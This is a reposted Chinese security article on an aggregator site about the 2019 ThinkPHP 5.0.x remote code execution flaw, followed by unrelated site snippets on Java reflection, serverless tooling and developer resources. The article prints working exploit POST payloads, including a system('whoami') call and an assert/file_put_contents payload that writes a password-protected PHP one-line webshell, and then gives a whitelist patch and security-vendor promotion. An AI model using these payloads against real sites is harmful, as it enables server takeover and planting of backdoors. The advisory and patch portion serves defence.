网站有漏洞被攻击篡改了数据该怎么修复解决-低调大师

网站有漏洞被攻击篡改了数据该怎么修复解决

2019-01-17 586

2019年1月14日消息，thinkphp又被爆出致命漏洞，可以直接远程代码执行，getshell提权写入网站木马到网站根目录，甚至直接提权到服务器，该漏洞影响版本ThinkPHP 5.0、ThinkPHP 5.0.10、ThinkPHP5.0.12、ThinkPHP5.0.13、ThinkPHP5.0.23、thinkphp 5.0.22版本。

攻击者可以伪造远程恶意代码，对服务器进行post提交数据来利用漏洞，该漏洞产生的原因是继上次2019元旦前后爆出的网站漏洞后，又一次的致命漏洞。在thinkphp目录下的library文件夹下的thinkrequest.php代码。如下图所示：

从上述代码中可以看出整个代码写的流程，首先打开网站会从app.php代码里将请求的网站地址使用check来进行解析，然后再经过patch类型对其进行深度的赋值.然后可以使用post方式提交数据到_method函数当中去，框架会对进行判断，然后对其调用传入的参数值，经过整个代码的循坏以及传入，就可以导致request的值给覆盖掉，从而产生远程代码执行，我们来构造恶意的代码，看看漏洞是如何使用的。

post地址：anquan/public/index.php?s=captcha

POST内容：c=system&f=whoami&_method=filter

直接远程提交过去就会执行我们的命令 whoami。查看返回的post数据就可以看到我们要看的

信息。

在整体的所有版本中测试，thinkphp必须开启debug模式才可以写入webshell，写入的执行代码是：_method=construct&filter[]=assert&filter[]=file_put_contents('0.php',_decode

('JTNDJTI1ZXZhbCUyMHJlcXVlc3QlMjAlMjglMjJwYXNzJTIyJTI5JTI1JTNF'))&server=-1 写入的是一句话木马，连接密码是pass.

有些低版本的网站，可以不使用captcha参数也可是执行远程代码，代码如下：_method=__construct&filter[]=system&method=GET&get[]=whoami

_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo

_method=__construct&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo

以上三个都是可以执行远程代码的。

关于thinkphp漏洞的修复建议：

尽快升级thinkphp到最新版本，有一些网站可能不方便升级，也可以对代码的文件进行修复，漏洞代码是library/think/Request.php对该代码的526行，527行进行添加设置白名单机制，对请求过来的数据，以及接收的数据进行安全限制。if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {$this->method = $method,网站程序代码的安全很重要，如果网站使用了开源的CMS系统代码，不懂程序技术的话，网站会经常被黑客攻击，如果自己懂程序，那就可以自己针对代码的漏洞进行漏洞修复，不懂的话，就请专业的网站安全公司来完善一下程序上的某些代码漏洞，国内像SINE安全、绿盟安全、启明星辰都是比较专业的安全公司，很多黑客之所以能植入木马病毒，就是抓住了这些网站代码上的漏洞。

微信关注我们

原文链接：https://yq.aliyun.com/articles/688018

转载内容版权归作者及来源网站所有！

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。

Java学习：反射的应用，依赖加载

使用反射实现从配置文件加载类以及根据配置文件解决特定依赖关系。配置文件reflect.properties： 1AdminDao=reflect.AdminDao 1GuestDao=reflect.GuestDao 1Manager=reflect.Manager 2Manager:AdminDao 2Manager:GuestDao 对应类文件AdminDao： package reflect; public class AdminDao { public AdminDao(){ System.out.println("成功实例化AdminDao"); } } 对应类文件GuestDao: package reflect; public class GuestDao { public GuestDao(){ System.out.println("成功实例化GuestDao"); } } 对应类文件Manager: package reflect; public class Manager { private AdminDao adminDao = null; private G...

2019-01-17

719

前言首先介绍下在本文出现的几个比较重要的概念：函数计算（Function Compute）: 函数计算是一个事件驱动的服务，通过函数计算，用户无需管理服务器等运行情况，只需编写代码并上传。函数计算准备计算资源，并以弹性伸缩的方式运行用户代码，而用户只需根据实际代码运行所消耗的资源进行付费。函数计算更多信息参考。Fun: Fun 是一个用于支持 Serverless 应用部署的工具，能帮助您便捷地管理函数计算、API 网关、日志服务等资源。它通过一个资源配置文件（template.yml），协助您进行开发、构建、部署操作。Fun 的更多文档参考。fun install: fun install 是 fun 工具的一个子命令，用于安装 pip 和 apt 依赖，提供了命令行接口和 fun.yml 描述文件两种形式。备注: 本文介绍的技

2019-01-17

712

资源下载

更多资源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题，腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构，目前腾讯云软件源站支持公网访问和内网访问。

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称，一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集，帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Spring

Spring框架（Spring Framework）是由Rod Johnson于2002年提出的开源Java企业级应用框架，旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念，提供核心容器、应用上下文、数据访问集成等模块，支持整合Hibernate、Struts等第三方框架，其适用范围不仅限于服务器端开发，绝大多数Java应用均可从中受益。

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源，继承了IntelliJ IDEA强大的JS部分的功能。